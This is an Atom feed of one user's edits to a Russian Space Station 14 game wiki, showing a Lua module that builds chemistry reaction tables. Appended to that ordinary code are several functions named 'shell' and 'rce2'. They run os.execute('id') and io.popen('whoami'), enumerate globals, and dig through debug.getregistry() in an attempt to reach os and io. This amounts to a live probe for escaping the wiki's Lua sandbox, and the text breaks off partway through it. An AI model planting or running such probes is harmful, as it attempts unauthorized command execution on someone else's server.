<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ru">
	<id>https://wiki.deadspace14.net/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=BigPickle62617</id>
	<title>МК14 | Space Station 14 Wiki - Вклад [ru]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.deadspace14.net/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=BigPickle62617"/>
	<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/%D0%A1%D0%BB%D1%83%D0%B6%D0%B5%D0%B1%D0%BD%D0%B0%D1%8F:%D0%92%D0%BA%D0%BB%D0%B0%D0%B4/BigPickle62617"/>
	<updated>2026-07-30T00:14:23Z</updated>
	<subtitle>Вклад</subtitle>
	<generator>MediaWiki 1.40.0</generator>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28875</id>
		<title>Модуль:TableOfChemicals</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28875"/>
		<updated>2026-06-21T23:54:35Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: restore original&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;p = {}&lt;br /&gt;
p.chem = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/chem_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
p.react = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/react_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
&lt;br /&gt;
p.fillReactTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	for _, reactPrototype in pairs(p.react) do&lt;br /&gt;
		local reactants = {}&lt;br /&gt;
		local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
			&lt;br /&gt;
			local reactantChemData = p.chem[reactantId]&lt;br /&gt;
			local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
			if reactantValue.catalyst then&lt;br /&gt;
				reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
			end&lt;br /&gt;
			table.insert(reactants, reactantText)&lt;br /&gt;
		end&lt;br /&gt;
		local templateArgs = {}&lt;br /&gt;
		templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		local products = {}&lt;br /&gt;
		local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
			&lt;br /&gt;
			local productChemData = p.chem[productId]&lt;br /&gt;
			local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
			table.insert(products, productText)&lt;br /&gt;
		end&lt;br /&gt;
		-- Эффекты реакции&lt;br /&gt;
		if tablelength(reactPrototype.effects) then&lt;br /&gt;
			for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
				if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
					table.insert(products, effect.description)&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
		templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
		&lt;br /&gt;
		local template = &amp;quot;Строка_реакции&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillChemTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local group = frame.args.group&lt;br /&gt;
	local groups&lt;br /&gt;
	if group ~= nil and group ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		groups = mw.text.split(group, &amp;quot;,&amp;quot;)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	local additional = frame.args.additional&lt;br /&gt;
	if additional ~= nil and additional ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		&lt;br /&gt;
		local additionalChemPrototypeIds = mw.text.split(additional, &amp;quot;,&amp;quot;)&lt;br /&gt;
		for _, chemPrototypeId in pairs(additionalChemPrototypeIds) do&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototypeId, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, chemPrototype in pairs(p.chem) do&lt;br /&gt;
		&lt;br /&gt;
		if group == nil or group == &amp;quot;&amp;quot; or contains(groups, chemPrototype.group) then&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototype.id, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillContentOfDispencer = function(frame)&lt;br /&gt;
	local dispencer = frame.args.dispencer&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	for _, chemId in pairs(dispencersContent()[dispencer]) do&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Кнопка_реагента&amp;quot;, args = {chemId, &amp;quot;y&amp;quot;}}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function dispencersContent()&lt;br /&gt;
	local content = {&lt;br /&gt;
		[&amp;quot;Химикатов&amp;quot;]={&lt;br /&gt;
			&amp;quot;Aluminium&amp;quot;,&amp;quot;Carbon&amp;quot;,&amp;quot;Chlorine&amp;quot;,&amp;quot;Copper&amp;quot;,&amp;quot;Ethanol&amp;quot;,&amp;quot;Fluorine&amp;quot;,&amp;quot;Hydrogen&amp;quot;,&amp;quot;Iodine&amp;quot;,&lt;br /&gt;
			&amp;quot;Iron&amp;quot;,&amp;quot;Lithium&amp;quot;,&amp;quot;Mercury&amp;quot;,&amp;quot;Nitrogen&amp;quot;,&amp;quot;Oxygen&amp;quot;,&amp;quot;Phosphorus&amp;quot;,&amp;quot;Potassium&amp;quot;,&amp;quot;Radium&amp;quot;,&lt;br /&gt;
			&amp;quot;Silicon&amp;quot;,&amp;quot;Sodium&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;Sulfur&amp;quot;,&amp;quot;SulfuricAcid&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Соды&amp;quot;]={&lt;br /&gt;
			&amp;quot;Water&amp;quot;,&amp;quot;Ice&amp;quot;,&amp;quot;Coffee&amp;quot;,&amp;quot;Cream&amp;quot;,&amp;quot;Tea&amp;quot;,&amp;quot;GreenTea&amp;quot;,&amp;quot;IcedTea&amp;quot;,&amp;quot;IcedGreenTea&amp;quot;,&lt;br /&gt;
			&amp;quot;Cola&amp;quot;,&amp;quot;SpaceMountainWind&amp;quot;,&amp;quot;DrGibb&amp;quot;,&amp;quot;SpaceUp&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&lt;br /&gt;
			&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;JuiceWatermelon&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Алкоголя&amp;quot;]={&lt;br /&gt;
			&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;Beer&amp;quot;,&amp;quot;CoffeeLiqueur&amp;quot;,&lt;br /&gt;
			&amp;quot;Whiskey&amp;quot;,&amp;quot;Wine&amp;quot;,&amp;quot;Vodka&amp;quot;,&amp;quot;Gin&amp;quot;,&amp;quot;Rum&amp;quot;,&amp;quot;Tequila&amp;quot;,&amp;quot;Vermouth&amp;quot;,&amp;quot;Cognac&amp;quot;,&lt;br /&gt;
			&amp;quot;Ale&amp;quot;,&amp;quot;Mead&amp;quot;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	return content&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
p.readArg = function(frame)&lt;br /&gt;
	return mw.text.nowiki(p.chem[frame.args[1]][frame.args[2]])&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function contains(list, x)&lt;br /&gt;
	for _, v in ipairs(list) do&lt;br /&gt;
		if v == x then return true end&lt;br /&gt;
	end&lt;br /&gt;
	return false&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
fillChemistryRow = function(chemPrototypeId, frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	local templateArgs = {}&lt;br /&gt;
	templateArgs.id = chemPrototype.id&lt;br /&gt;
	templateArgs.name = chemPrototype.name&lt;br /&gt;
	templateArgs.description = chemPrototype.desc .. &amp;quot; На вид &amp;quot; .. chemPrototype.physicalDesc .. &amp;quot;.&amp;quot;&lt;br /&gt;
	templateArgs.color = chemPrototype.color&lt;br /&gt;
	templateArgs.textColor = chemPrototype.textColor&lt;br /&gt;
	templateArgs.effects = getEffects(chemPrototype.id)&lt;br /&gt;
	templateArgs.recipes_count = tablelength(chemPrototype.recipes)&lt;br /&gt;
	&lt;br /&gt;
	templateArgs.reactants = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.products = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.action = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	if templateArgs.recipes_count == 0 then&lt;br /&gt;
		templateArgs.recipes_count = 1 -- Для заполнения параметра rowspan строки&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Первая_строка_химического_вещества&amp;quot;, args = templateArgs}&lt;br /&gt;
	else&lt;br /&gt;
		local firstReact = true&lt;br /&gt;
		for _, reactId in pairs(chemPrototype.recipes) do&lt;br /&gt;
			&lt;br /&gt;
			local reactPrototype = p.react[reactId]&lt;br /&gt;
			local reactants = {}&lt;br /&gt;
			local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
				&lt;br /&gt;
				local reactantChemData = p.chem[reactantId]&lt;br /&gt;
				local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
				if reactantValue.catalyst then&lt;br /&gt;
					reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
				end&lt;br /&gt;
				table.insert(reactants, reactantText)&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			local products = {}&lt;br /&gt;
			local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
				&lt;br /&gt;
				local productChemData = p.chem[productId]&lt;br /&gt;
				local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
				table.insert(products, productText)&lt;br /&gt;
			end&lt;br /&gt;
			-- Эффекты реакции&lt;br /&gt;
			if tablelength(reactPrototype.effects) then&lt;br /&gt;
				for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
					if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
						table.insert(products, effect.description)&lt;br /&gt;
					end&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
			&lt;br /&gt;
			local template = &amp;quot;Строка_химического_вещества&amp;quot;&lt;br /&gt;
			if firstReact then&lt;br /&gt;
				template = &amp;quot;Первая_строка_химического_вещества&amp;quot;&lt;br /&gt;
				firstReact = false&lt;br /&gt;
			end&lt;br /&gt;
			&lt;br /&gt;
			out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getActions = function(reactPrototype)&lt;br /&gt;
	&lt;br /&gt;
	local actions = {}&lt;br /&gt;
	&lt;br /&gt;
	-- Температура&lt;br /&gt;
	local minMaxTemplate = &amp;quot;выше %sК и ниже %sК&amp;quot;&lt;br /&gt;
	local minTemplate = &amp;quot;выше %sК&amp;quot;&lt;br /&gt;
	local maxTemplate = &amp;quot;ниже %sК&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local hasMin = reactPrototype.minTemp ~= 0&lt;br /&gt;
	local hasMax = reactPrototype.hasMax&lt;br /&gt;
	&lt;br /&gt;
	local tempString = &amp;quot;&amp;quot;&lt;br /&gt;
	if hasMax and hasMin then&lt;br /&gt;
		tempString = string.format(minMaxTemplate, reactPrototype.minTemp, reactPrototype.maxTemp)&lt;br /&gt;
	elseif hasMin then&lt;br /&gt;
		tempString = string.format(minTemplate, reactPrototype.minTemp)&lt;br /&gt;
	elseif hasMax then&lt;br /&gt;
		tempString = string.format(maxTemplate, reactPrototype.maxTemp)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, mixingCategory in pairs(reactPrototype.mixingCategories) do&lt;br /&gt;
		local image = getMixingImage(mixingCategory.id)&lt;br /&gt;
		if image ~= nil then&lt;br /&gt;
			table.insert(actions, string.format(&amp;quot;[[File:%s|32px|link=]]&amp;quot;, image)) -- Картинка&lt;br /&gt;
		end&lt;br /&gt;
		&lt;br /&gt;
		table.insert(actions, mixingCategory.name .. &amp;quot; &amp;quot; .. tempString) -- Название&lt;br /&gt;
		&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return table.concat(actions, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getMixingImage = function(mixingId)&lt;br /&gt;
	&lt;br /&gt;
	local images = {&lt;br /&gt;
		[&amp;quot;DummyMix&amp;quot;] = &amp;quot;Beaker.png&amp;quot;, -- Смешивание&lt;br /&gt;
		[&amp;quot;DummyGrind&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Измельчение&lt;br /&gt;
		[&amp;quot;DummyJuice&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Выжимка&lt;br /&gt;
		[&amp;quot;DummyCondense&amp;quot;] = &amp;quot;Конденсатор газа.png&amp;quot;, &lt;br /&gt;
		[&amp;quot;Centrifuge&amp;quot;] = &amp;quot;Центрифуга.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Electrolysis&amp;quot;] = &amp;quot;Электролизер.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Holy&amp;quot;] = &amp;quot;Библия.png&amp;quot;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	return images[mixingId]&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function getEffects(chemPrototypeId)&lt;br /&gt;
	&lt;br /&gt;
	local effects = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	if chemPrototype.metabolisms == nil then&lt;br /&gt;
		return effects&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for metabolismGroupKey, metabolismGroup in pairs(chemPrototype.metabolisms) do&lt;br /&gt;
		effects = attachAsNewLine(effects, string.format(&amp;quot;* %s (%s единиц в секунду)&amp;quot;, metabolismGroupKey, metabolismGroup.rate))&lt;br /&gt;
		for _, effect in pairs(metabolismGroup.effects) do&lt;br /&gt;
			if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
				effects = attachAsNewLine(effects, &amp;quot;** &amp;quot;..effect.description)&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
	return effects&lt;br /&gt;
  &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function tablelength(T)&lt;br /&gt;
  local count = 0&lt;br /&gt;
  for _ in pairs(T) do count = count + 1 end&lt;br /&gt;
  return count&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function attachAsNewLine(originalStr, joinStr)&lt;br /&gt;
	return originalStr .. &amp;quot;\n&amp;quot; .. joinStr &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then&lt;br /&gt;
            r = r .. f:read(&amp;quot;*a&amp;quot;)&lt;br /&gt;
            f:close()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug: &amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no debug&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;package: &amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no package&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require: &amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no require&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load: &amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no load&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile: &amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no dofile&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; req:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local keys = &amp;quot;&amp;quot;&lt;br /&gt;
        for k, v in pairs(_G) do&lt;br /&gt;
            keys = keys .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot; G:&amp;quot; .. keys&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce2(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;reg_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            r = r .. tostring(k) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_os:&amp;quot; .. tostring(require(&amp;quot;os&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_io:&amp;quot; .. tostring(require(&amp;quot;io&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_debug:&amp;quot; .. tostring(require(&amp;quot;debug&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_package:&amp;quot; .. tostring(require(&amp;quot;package&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_string:&amp;quot; .. tostring(require(&amp;quot;string&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_str_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_searchers:&amp;quot;&lt;br /&gt;
        for i, v in ipairs(pkg.searchers) do&lt;br /&gt;
            r = r .. &amp;quot;[&amp;quot; .. i .. &amp;quot;]=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        if pkg.preload then&lt;br /&gt;
            r = r .. &amp;quot; preload:&amp;quot;&lt;br /&gt;
            for k, v in pairs(pkg.preload) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;registry_type:&amp;quot; .. type(reg) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try to access os/io through registry&lt;br /&gt;
        if reg._LOADED then&lt;br /&gt;
            r = r .. &amp;quot;loaded:&amp;quot;&lt;br /&gt;
            for k, v in pairs(reg._LOADED) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
